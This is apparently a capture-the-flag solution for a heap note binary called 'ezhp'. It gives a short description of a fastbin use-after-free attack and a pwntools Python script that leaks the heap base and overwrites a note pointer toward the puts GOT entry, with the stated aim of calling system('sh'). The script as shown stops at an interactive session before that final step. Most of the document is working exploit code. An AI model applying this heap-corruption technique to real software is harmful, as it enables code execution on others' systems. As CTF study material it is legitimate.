Exploiting fastbins. Firstly, a UAF leaks the heap base address. Once we know the base, we can overwrite the pointer to a note
and then read off the memory referenced by that pointer. So, point it to the got_entry of puts. After leaking got_entry,
calculate system() offset and finally create a note with string sh\x00\x00
and then read that note.
Coded in python.
#!/usr/bin/python
from pwn import *
p = process("./ezhp")
raw_input()
def conv(inp):
ret = inp[6:8]
ret += inp[4:6]
ret += inp[2:4]
ret += inp[0:2]
ret = int(ret,16)
return ret
def add_note(size):
p.sendline("1")
p.sendline(str(size))
print p.recv()
def remove_note(idx):
p.sendline("2")
p.sendline(str(idx))
print p.recv()
def edit_note(idx,size,data):
p.sendline("3")
p.sendline(str(idx))
p.sendline(str(size))
p.sendline(data)
print p.recv()
def print_note(idx):
p.sendline("4")
p.sendline(str(idx))
a = p.recv()
leak = a.split()
leak = leak[5]
leak = leak[28:]
leak = leak.encode("hex")
final_leak = conv(leak)
return final_leak
add_note(20)
add_note(20)
'''LEAK HEAP'''
payload = "\xc0\xc0\xc0\xc0" + "A"*24
#payload += p32(0xdeadbeef)
edit_note(0,28,payload)
heap_addr = print_note(0)
heap_base = heap_addr - 0x54
print heap_base
put_got = 0x0804a010
payload += p32(heap_base+0x20)
payload += p32(put_got-0x4)
edit_note(0,36,payload)
p.interactive()